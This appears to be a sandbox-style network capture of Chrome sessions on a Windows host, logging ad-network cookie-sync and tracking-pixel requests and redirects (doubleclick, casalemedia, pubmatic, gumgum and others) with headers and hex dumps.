Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:20 UTC	899	OUT	GET /pixel?google_nid=casale_media2_dsp_secure&google_cm&google_dbm HTTP/1.1 Host: cm.g.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://googleads.g.doubleclick.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: IDE=AHWqTUkYo_qaJB8t4vD6z0JcvLuH2PUt4-24vSE0hsN84PAMJB6T_Vc-cTtoFUn2; ar_debug=1; APC=AfxxVi57njaBhV1ZeX-EyHfl729z-ajT-mAWBRM5lhyvI-DCu7Azfw
2024-04-27 22:42:20 UTC	678	IN	HTTP/1.1 302 Found P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Location: https://dsum-sec.casalemedia.com/rum?cm_dsp_id=45&external_user_id=CAESEFVeUHfI19jJNPp1Sf2P_VQ&google_cver=1 Date: Sat, 27 Apr 2024 22:42:20 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Cross-Origin-Resource-Policy: cross-origin Content-Type: text/html; charset=UTF-8 Server: HTTP server (unknown) Content-Length: 313 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-27 22:42:20 UTC	313	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 64 73 75 6d 2d 73 65 63 2e 63 61 73 61 6c 65 6d 65 64 69 61 2e 63 6f 6d 2f 72 75 6d 3f 63 6d 5f 64 73 70 5f 69 64 3d 34 35 26 61 6d 70 3b 65 78 74 65 72 6e 61 6c 5f 75 73 65 72 5f 69 64 3d 43 41 45 53 45 46 56 65 55 48 66 49 31 39 6a 4a Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>302 Moved</TITLE></HEAD><BODY><H1>302 Moved</H1>The document has moved<A HREF="https://dsum-sec.casalemedia.com/rum?cm_dsp_id=45&external_user_id=CAESEFVeUHfI19jJ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
494	192.168.2.4	50367	198.148.27.131	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:20 UTC	719	OUT	GET /bh/rtset?pid=558355&ev=1&us_privacy=${us_privacy}&gpp=$&gpp_sid=$&rurl=https%3A%2F%2Frtb.gumgum.com%2Fusersync%3Fb%3Dpln%26i%3D%25%25VGUID%25%25 HTTP/1.1 Host: bh.contextweb.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://rtb.gumgum.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:42:20 UTC	1335	IN	HTTP/1.1 302 Found Connection: close P3P: policyref="/bh/w3c/p3p.xml", CP="NOI DSP COR NID CURa DEVa PSAa OUR BUS COM NAV INT" Accept-CH: Sec-CH-UA,Sec-CH-UA-Arch,Sec-CH-UA-Bitness,Sec-CH-UA-Mobile,Sec-CH-UA-Model,Sec-CH-UA-Platform,Sec-CH-UA-Full-Version-List,Sec-CH-UA-Platform-Version CW-Server: bh-deployment-777b7bb56-6wsj2 Cache-Control: private, max-age=0, no-cache, no-store Expires: -1 Content-Language: en-US Set-Cookie: V=vRChMcXIG1l8;Version=0;Secure;Path=/;Domain=.contextweb.com;Expires=Tue, 22-Apr-2025 22:42:20 GMT;Max-Age=31104000;SameSite=None Set-Cookie: VP=part_vRChMcXIG1l8;Version=0;Path=/;Domain=.contextweb.com;Max-Age=31104000;Secure;Expires=Tue, 22-Apr-2025 22:42:20 GMT;SameSite=None;Partitioned Set-Cookie: pb_rtb_ev=3-1r1t\|7bq.0.1;Version=0;Secure;Path=/;Domain=.contextweb.com;Expires=Sun, 27-Apr-2025 22:42:20 GMT;Max-Age=31536000;SameSite=None Set-Cookie: pb_rtb_ev_part=3-1r1t\|7bq.0.1;Version=0;Path=/;Domain=.contextweb.com;Max-Age=31536000;Secure;Expires=Sun, 27-Apr-2025 22:42:20 GMT;SameSite=None;Partitioned Location: https://rtb.gumgum.com/usersync?b=pln&i=vRChMcXIG1l8&ev=1&gpp_sid=$&gpp=$&us_privacy=${us_privacy}&pid=558355 Server: Jetty(10.0.14) Strict-Transport-Security: max-age=15768000 Set-Cookie: INGRESSCOOKIE=08ab75abd62cbd36; path=/; HttpOnly; Secure; SameSite=None

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
495	192.168.2.4	50374	104.18.36.155	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:20 UTC	823	OUT	GET /rrum?ixi=0&cm_dsp_id=85&cb=https%3A%2F%2Fcm.g.doubleclick.net%2Fpixel%3Fgoogle_nid%3Dcasale_media2_dsp_secure%26google_cm%26google_hm%3D HTTP/1.1 Host: dsum-sec.casalemedia.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://googleads.g.doubleclick.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: receive-cookie-deprecation=1; CMID=Zi1-RMAoJXEAAC4sAhP6pwAA; CMPS=2852; CMPRO=2852
2024-04-27 22:42:20 UTC	1088	IN	HTTP/1.1 302 Found Date: Sat, 27 Apr 2024 22:42:20 GMT Content-Length: 0 Connection: close Location: https://cm.g.doubleclick.net/pixel?google_nid=casale_media2_dsp_secure&google_cm&google_hm=Zi1-RMAoJXEAAC4sAhP6pwAA CF-Ray: 87b2533dde3f3b95-IAD CF-Cache-Status: DYNAMIC Cache-Control: no-cache Expires: 0 Set-Cookie: CMID=Zi1-RMAoJXEAAC4sAhP6pwAA; Path=/; Domain=casalemedia.com; Expires=Sun, 27 Apr 2025 22:42:20 GMT; Max-Age=31536000; Secure; SameSite=None P3p: policyref="/w3c/p3p.xml", CP="NOI DSP COR DEVa TAIa OUR BUS UNI" Pragma: no-cache Set-Cookie: CMPRO=2852; Path=/; Domain=casalemedia.com; Expires=Fri, 26 Jul 2024 22:42:20 GMT; Max-Age=7776000; Secure; SameSite=None Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rz1b8hHW3RGxE1FdAmcw9qAMKoYJtdM3OMGVM3X8iIryIeE2KTfMoNwDRWQZk0BQv%2FnBVFiU57i6lAKKXZpxYKA5UrCRKVm3ZV2GfvProYQhZD7JA1l9%2BFbdP%2F54zgr9fgMLzxjtlJBFJw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
496	192.168.2.4	50373	104.18.36.155	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:20 UTC	773	OUT	GET /rum?cm_dsp_id=45&external_user_id=CAESEFVeUHfI19jJNPp1Sf2P_VQ&google_cver=1&gdpr=0&C=1 HTTP/1.1 Host: dsum-sec.casalemedia.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://googleads.g.doubleclick.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: receive-cookie-deprecation=1; CMID=Zi1-RMAoJXEAAC4sAhP6pwAA; CMPS=2852; CMPRO=2852
2024-04-27 22:42:20 UTC	986	IN	HTTP/1.1 200 OK Date: Sat, 27 Apr 2024 22:42:20 GMT Content-Type: image/gif Content-Length: 43 Connection: close CF-Ray: 87b2533dcc3405da-IAD CF-Cache-Status: DYNAMIC Cache-Control: no-cache Expires: 0 Set-Cookie: CMID=Zi1-RMAoJXEAAC4sAhP6pwAA; Path=/; Domain=casalemedia.com; Expires=Sun, 27 Apr 2025 22:42:20 GMT; Max-Age=31536000; Secure; SameSite=None P3p: policyref="/w3c/p3p.xml", CP="NOI DSP COR DEVa TAIa OUR BUS UNI" Pragma: no-cache Set-Cookie: CMPRO=2852; Path=/; Domain=casalemedia.com; Expires=Fri, 26 Jul 2024 22:42:20 GMT; Max-Age=7776000; Secure; SameSite=None Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=30%2BbM0NPp4oqGKHZ28G0OVnR19ZoMpjOeHiEZ%2FrQ9zML1GSMNvbTV9qGVvUzuaPI5J9zalqkD9QDkekUAxNV2bH8wD8kyriwb%2BJnSxDaXWHqdQi%2Fzli962EpkXFUCPhUxWXr2LDlRJfGhg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-27 22:42:20 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
497	192.168.2.4	50370	52.223.40.198	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:20 UTC	863	OUT	GET /track/cmf/generic?ttd_pid=gumgum&ttd_tpi=1&gdpr=0&gdpr_consent= HTTP/1.1 Host: match.adsrvr.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://rtb.gumgum.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: TDID=43e7dc8e-5458-4375-be4a-644737ed4dbd; TDCPM=CAESFgoHcnViaWNvbhILCOTVj6KqxfM8EAUYBSADKAIyCwiQndbuv8XzPBAFOAE.
2024-04-27 22:42:20 UTC	540	IN	HTTP/1.1 302 Found Date: Sat, 27 Apr 2024 22:42:20 GMT Content-Length: 193 Connection: close server: Kestrel location: https://usersync.gumgum.com/usersync?b=ttd&i=43e7dc8e-5458-4375-be4a-644737ed4dbd set-cookie: TDID=43e7dc8e-5458-4375-be4a-644737ed4dbd; expires=Sun, 27 Apr 2025 22:42:20 GMT; domain=.adsrvr.org; path=/; secure; samesite=none set-cookie: TDCPM=CAESFgoHcnViaWNvbhILCOTVj6KqxfM8EAUYASABKAIyCwjagK_4wMXzPBAFOAFaBmd1bWd1bWAC; expires=Sun, 27 Apr 2025 22:42:20 GMT; domain=.adsrvr.org; path=/; secure; samesite=none
2024-04-27 22:42:20 UTC	193	IN	Data Raw: 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 3a 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 75 73 65 72 73 79 6e 63 2e 67 75 6d 67 75 6d 2e 63 6f 6d 2f 75 73 65 72 73 79 6e 63 3f 62 3d 74 74 64 26 69 3d 34 33 65 37 64 63 38 65 2d 35 34 35 38 2d 34 33 37 35 2d 62 65 34 61 2d 36 34 34 37 33 37 65 64 34 64 62 64 22 3e 68 74 74 70 73 3a 2f 2f 75 73 65 72 73 79 6e 63 2e 67 75 6d 67 75 6d 2e 63 6f 6d 2f 75 73 65 72 73 79 6e 63 3f 62 3d 74 74 64 26 69 3d 34 33 65 37 64 63 38 65 2d 35 34 35 38 2d 34 33 37 35 2d 62 65 34 61 2d 36 34 34 37 33 37 65 64 34 64 62 64 3c 2f 61 3e Data Ascii: Redirecting to: <a href="https://usersync.gumgum.com/usersync?b=ttd&i=43e7dc8e-5458-4375-be4a-644737ed4dbd">https://usersync.gumgum.com/usersync?b=ttd&i=43e7dc8e-5458-4375-be4a-644737ed4dbd</a>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
498	192.168.2.4	50365	50.31.142.223	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:20 UTC	781	OUT	GET /usersync/gumgum/?puid=u_4c53540e-5a20-4fc0-94bc-96b5618a25d2&gdpr=0&gdpr_consent=&us_privacy=1YNN&cb=https%3A%2F%2Fusersync.gumgum.com%2Fusersync%3Fb%3Dzem%26i%3D__ZUID__ HTTP/1.1 Host: b1sync.zemanta.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://rtb.gumgum.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: zuid=pzXJ98G8FgkOH15Vlr4a
2024-04-27 22:42:20 UTC	610	IN	HTTP/1.1 302 Found Content-Type: text/html; charset=utf-8 Content-Length: 123 Connection: close Cache-Control: no-cache, no-store, must-revalidate Expires: Thu, 01 Dec 1994 16:00:00 GMT Location: https://usersync.gumgum.com/usersync?b=zem&i=pzXJ98G8FgkOH15Vlr4a&gdpr=0&us_privacy=1YNN P3p: CP="We do not support P3P header." Pragma: no-cache Set-Cookie: zuid=pzXJ98G8FgkOH15Vlr4a; Path=/; Domain=zemanta.com; Expires=Sun, 27 Apr 2025 22:42:20 GMT; Max-Age=31536000; Secure; SameSite=None Date: Sat, 27 Apr 2024 22:42:20 GMT Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
2024-04-27 22:42:20 UTC	123	IN	Data Raw: 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 75 73 65 72 73 79 6e 63 2e 67 75 6d 67 75 6d 2e 63 6f 6d 2f 75 73 65 72 73 79 6e 63 3f 62 3d 7a 65 6d 26 61 6d 70 3b 69 3d 70 7a 58 4a 39 38 47 38 46 67 6b 4f 48 31 35 56 6c 72 34 61 26 61 6d 70 3b 67 64 70 72 3d 30 26 61 6d 70 3b 75 73 5f 70 72 69 76 61 63 79 3d 31 59 4e 4e 22 3e 46 6f 75 6e 64 3c 2f 61 3e 2e 0a 0a Data Ascii: <a href="https://usersync.gumgum.com/usersync?b=zem&i=pzXJ98G8FgkOH15Vlr4a&gdpr=0&us_privacy=1YNN">Found</a>.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
499	192.168.2.4	50379	172.64.151.101	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:20 UTC	968	OUT	GET /usermatchredir?s=208386&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1&cb=https%3A%2F%2Fpbs.yahoo.com%2Fsetuid%3Fbidder%3Dix%26gdpr%3D0%26gdpr_consent%3D%26gpp%3DDBAA%26gpp_sid%3D-1%26f%3Db%26uid%3D HTTP/1.1 Host: ssum-sec.casalemedia.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: receive-cookie-deprecation=1; CMID=Zi1-RMAoJXEAAC4sAhP6pwAA; CMPS=2852; CMPRO=2852
2024-04-27 22:42:20 UTC	1101	IN	HTTP/1.1 302 Found Date: Sat, 27 Apr 2024 22:42:20 GMT Content-Length: 0 Connection: close Location: https://pbs.yahoo.com/setuid?bidder=ix&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1&f=b&uid=Zi1_RMAoJXEAAC4sAhP6pwAACyQAAAAB CF-Ray: 87b2533eba4a081b-IAD CF-Cache-Status: DYNAMIC Cache-Control: no-cache Expires: 0 Set-Cookie: CMID=Zi1-RMAoJXEAAC4sAhP6pwAA; Path=/; Domain=casalemedia.com; Expires=Sun, 27 Apr 2025 22:42:20 GMT; Max-Age=31536000; Secure; SameSite=None P3p: policyref="/w3c/p3p.xml", CP="NOI DSP COR DEVa TAIa OUR BUS UNI" Pragma: no-cache Set-Cookie: CMPRO=2852; Path=/; Domain=casalemedia.com; Expires=Fri, 26 Jul 2024 22:42:20 GMT; Max-Age=7776000; Secure; SameSite=None Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jq4ogZ%2BZ6cmgvH2THr6z4ahfOKvDlxUi%2FSqE853C6h%2Bscc%2FHHAx8paDZhzr5x7KOPuOtXRQSSX3yEH1814%2Bw3hlhQ%2B8PHu2MsLm4eJ6fworTctrw2fLY1r2lGxfZ%2FILOup37x0zUA1qryw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
500	192.168.2.4	50383	216.22.16.36	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:20 UTC	716	OUT	GET /api/sync?callerId=15&redirectUri=https%3A%2F%2Fusersync.gumgum.com%2Fusersync%3Fb%3Dsad%26i%3D%5Bssb_sync_pid%5D&gdpr=0&gdpr_consent= HTTP/1.1 Host: ssbsync.smartadserver.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://rtb.gumgum.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:42:20 UTC	321	IN	HTTP/1.1 302 Found content-length: 0 date: Sat, 27 Apr 2024 22:42:20 GMT location: https://usersync.gumgum.com/usersync?b=sad&i=4435248766784737857 set-cookie: pid=4435248766784737857; expires=Wed, 28 May 2025 22:41:20 GMT; domain=smartadserver.com; path=/; samesite=None; secure; samesite=none connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
501	192.168.2.4	50378	207.65.37.182	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:20 UTC	1598	OUT	GET /AdServer/SPug?partnerID=133799&gdpr=0&gdpr_consent=&us_privacy=1YNN HTTP/1.1 Host: simage4.pubmatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=EE7B59FE-9DAF-415D-A93C-7AF48020DD7B; chkChromeAb67Sec=1; pi=133799:2; DPSync3=1715385600%3A201_263%7C1714780800%3A252_265; SyncRTB3=1715385600%3A220_104_231_3_21_13_54_71_250%7C1714780800%3A223; KRTBCOOKIE_57=22776-1476058396850158061&KRTB&23339-1476058396850158061; KRTBCOOKIE_377=6810-43e7dc8e-5458-4375-be4a-644737ed4dbd&KRTB&22918-43e7dc8e-5458-4375-be4a-644737ed4dbd&KRTB&22926-43e7dc8e-5458-4375-be4a-644737ed4dbd&KRTB&23031-43e7dc8e-5458-4375-be4a-644737ed4dbd; KRTBCOOKIE_279=22890-f10e083f-54cc-4ce5-aa07-8210352e586a&KRTB&23011-f10e083f-54cc-4ce5-aa07-8210352e586a&KRTB&23355-f10e083f-54cc-4ce5-aa07-8210352e586a; KRTBCOOKIE_80=22987-CAESEJOnsZ4Y0zvykm-BqQM3Kw0&KRTB&23025-CAESEJOnsZ4Y0zvykm-BqQM3Kw0&KRTB&23386-CAESEJOnsZ4Y0zvykm-BqQM3Kw0; KRTBCOOKIE_148=19421-uid:A6347C54E561441189B9C53740B29AD4&KRTB&23486-uid:A6347C54E561441189B9C53740B29AD4&KRTB&23489-uid:A6347C54E561441189B9C53740B29AD4&KRTB&23539-uid:A6347C54E561441189B9C53740B29AD4; PugT=1714257735; SPugT=1714257737
2024-04-27 22:42:20 UTC	408	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 27 Apr 2024 22:42:20 GMT Transfer-Encoding: chunked Connection: close Set-Cookie: SPugT=1714257740; domain=pubmatic.com; SameSite=None; secure; expires=Mon, 27-May-2024 22:42:20 GMT; path=/ P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-04-27 22:42:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
502	192.168.2.4	50377	69.194.240.13	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:20 UTC	834	OUT	GET /csync/RX-915945b2-6af3-4975-9839-febe73c73a74-005?redir=https%3A%2F%2Fpbs.yahoo.com%2Fsetuid%3Fbidder%3Dunruly%26gdpr%3D0%26gdpr_consent%3D%26gpp%3DDBAA%26gpp_sid%3D-1%26f%3Di%26uid%3DRX-915945b2-6af3-4975-9839-febe73c73a74-005%26us_privacy%3D1YNN HTTP/1.1 Host: sync.targeting.unrulymedia.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:42:20 UTC	631	IN	HTTP/1.1 302 Found date: Sat, 27 Apr 2024 22:42:22 GMT content-type: text/html transfer-encoding: chunked set-cookie: _rxuuid=%7B%22rx_uuid%22%3A%22RX-915945b2-6af3-4975-9839-febe73c73a74-005%22%7D; path=/; expires=Sun, 27 Apr 2025 22:42:22 GMT; domain=.targeting.unrulymedia.com; samesite=none; secure; httponly p3p: CP="This is not a P3P policy! See https://www.rhythmone.com/p3p to learn why" location: https://pbs.yahoo.com/setuid?bidder=unruly&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1&f=i&uid=RX-915945b2-6af3-4975-9839-febe73c73a74-005&us_privacy=1YNN etag: RX915945b26af349759839febe73c73a74005 connection: close
2024-04-27 22:42:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
503	192.168.2.4	50359	35.212.133.238	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:20 UTC	845	OUT	GET /sync?ssp=gumgum2&user_id=u_4c53540e-5a20-4fc0-94bc-96b5618a25d2&gdpr=0&gdpr_consent=&us_privacy=1YNN HTTP/1.1 Host: x.bidswitch.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://rtb.gumgum.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: tuuid=22ec7773-8e4b-4639-873b-a22ce7444b56; c=1714257731; custom_data=ksqvgV83WEJQamtiZXNGYTQwT2NpRmJBcjQyRFBWOG9BMkhlSHAlMkZ1ckREM3BkQ00lM0Q; tuuid_lu=1714257737
2024-04-27 22:42:20 UTC	303	IN	HTTP/1.1 302 Moved Temporarily Server: nginx Date: Sat, 27 Apr 2024 22:42:20 GMT Content-Length: 0 Connection: close Cache-Control: no-cache, no-store, must-revalidate Location: //ads.avct.cloud/getuid?url=%2F%2Fx.bidswitch.net%2Fsync%3Fdsp_id%3D59%26user_id%3D%7B%7BUUID%7D%7D%26ssp%3Dgumgum2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
504	192.168.2.4	50381	185.184.8.90	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
